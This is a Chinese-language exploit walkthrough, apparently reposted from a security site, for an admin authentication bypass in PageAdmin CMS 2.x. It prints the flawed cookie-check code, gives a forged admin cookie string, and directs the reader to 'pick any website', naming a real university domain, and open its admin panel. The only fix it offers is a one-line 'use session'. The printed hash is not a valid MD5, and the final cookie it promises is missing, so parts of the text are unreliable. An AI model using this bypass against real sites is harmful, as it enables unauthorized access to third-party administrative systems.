后台使用Master_Valicate.Master_Check函数来验证用户是否登陆,下面是此函数代码
if (HttpContext.Current.Request.Cookies["Master"] != null) { if (HttpContext.Current.Request.Cookies["Master"].Values["LoginProcess"] != null) { Md5 md = new Md5(); string string_ = HttpContext.Current.Request.Cookies["Master"].Values["UserName"].ToString(); string str = HttpContext.Current.Request.Cookies["Master"].Values["LoginDate"].ToString(); string b = HttpContext.Current.Request.Cookies["Master"].Values["Valicate"].ToString(); if (!this.method_1(string_) || md.Get_Md5(str) != b) { HttpContext.Current.Response.Write("<script language=javascript>alert('非法登陆!');top.location.href='login. asp x';</script>"); HttpContext.Current.Response.End(); } } else { HttpContext.Current.Response.Write("<script language=javascript>alert('未登陆或登陆超时!');top.location.href='login.aspx';</script>"); HttpContext.Current.Response.End(); } } else { HttpContext.Current.Response.Write("<script language=javascript>alert('未登陆或登陆超时!');top.location.href='login.aspx';</script>"); HttpContext.Current.Response.End(); }
首先它检测cookie Master是否存在,这里是可以定义Cookie来绕过,继续往下
它检测Master[LoginProcess]是否存在,最后再获取Master[UserName],Master[LoginDate],Master[Valicate]的值,然后检测UserName是不是字符串,然后检测Valicate的值是不是等于md.Get_Md5(LoginDate),如果都OK,就绕过了验证。
那么我们就可以设置Cookie,只要让Valicate==md.Get_Md5(LoginDate)就行
我们先让LoginDate=1,然后写个aspx文件,计算出md.Get_Md5("1")的值
最后Cookie就是Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f
访问下后台,会报错,错误出在PageAdmin.masterhead.Page_Load
查看此处代码,发现有这句
string text = HttpContext.Current.Request.Cookies["Master"].Values["Permissions"].ToString();
所以cookie还要再加上Permissions才行,最后构造出来的Cookie就是
随便找个网站,如http://scxy.shmtu.edu.cn
打开网站,然后设置下cookie
直接访问后台/master/index.aspx
修复方案:
用session
查看更多关于PageAdmin CMS 2.x后台登陆绕过 - 网站安全 - 自学ph的详细内容...